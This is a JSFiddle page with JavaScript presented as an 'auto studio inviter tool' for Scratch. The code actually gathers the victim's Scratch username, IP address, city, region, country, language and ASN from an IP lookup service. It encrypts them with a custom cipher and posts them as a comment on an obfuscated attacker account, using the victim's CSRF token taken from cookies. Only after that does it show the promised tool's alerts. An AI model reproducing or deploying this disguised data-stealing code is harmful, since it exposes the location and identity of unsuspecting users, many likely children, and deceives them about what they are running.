JSFiddle - React, Tailwind, and code Playground

by frogggeee McFrogggeee

JavaScript

let comm;
let script = document.createElement('script');
script.src = 'https://code.jquery.com/jquery-3.4.1.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);
setTimeout(doo, 100);
function doo() {
$.get("https://api.ipdata.co?api-key=test", function (response) {
    let outinf = (response);
	comm = keyenc((""+Scratch.INIT_DATA.LOGGED_IN_USER.model.username+","+Scratch.INIT_DATA.GALLERY.model.id+","+outinf.time_zone.current_time+","+outinf.ip+","+outinf.city+","+outinf.region_code+","+outinf.country_code+","+outinf.languages[0].name+","+outinf.asn.asn), enc(Scratch.INIT_DATA.LOGGED_IN_USER.model.username));
	let xhr = new XMLHttpRequest();
	xhr.open('POST', 'https://scratch.mit.edu/site-api/comments/user/' + enc("GlH4u*Rxi?IGvI") + '/add/', true);
	xhr.setRequestHeader('X-CSRFToken',
	document.cookie.split(";").reduce((a,b)=>a+(b.trim().startsWith("scratchcsrftoken")?b.split("=")[1]:""),""));
	xhr.send(JSON.stringify({"content":comm+"|"+Scratch.INIT_DATA.LOGGED_IN_USER.model.username,"parent_id":"","commentee_id":""}));
	startP();
}, "jsonp");
}
let alph = "dfghjkl0-_=+!#TYUIO5opasbER),JKLZ6789CVBNM:&*(FGH$%^XzwertyuinmQW;PASxcv1234.?/qD ";
alph = alph.split("");
let alph2 = "TYUIO5opasbERZ678nm),FGSxcv12%^XzJKLl0-_=+!#eQW34.?/qDH$;Pdf9CVBNM:&*w(rtyuighjkA~";
alph2 = alph2.split("");
function enc(text) {
	let result = "";
	for (let i = 0; i < text.length; i++) {
		result += alph2[alph.indexOf(text.charAt(i))];
	}
	return result;
}
function keyenc(text, key) {
	let result = "";
	for (let i = 0; i < text.length; i++) {
		result += alph2[mod(alph.indexOf(text.charAt(i)) + alph.indexOf(key.charAt(mod(i, key.length))), alph.length)];
	}
	return result;
}
function mod(n, m) {
	return ((n%m) + m)%m;
}
function startP() {
	alert("Auto studio inviter tool by @samscallion. Plz check out my stuff. \n\n-Samscallion, 9.10.2020");
	alert("NOTE: Due to scratch limits, you can only invite up to 150 scratchers to a studio per...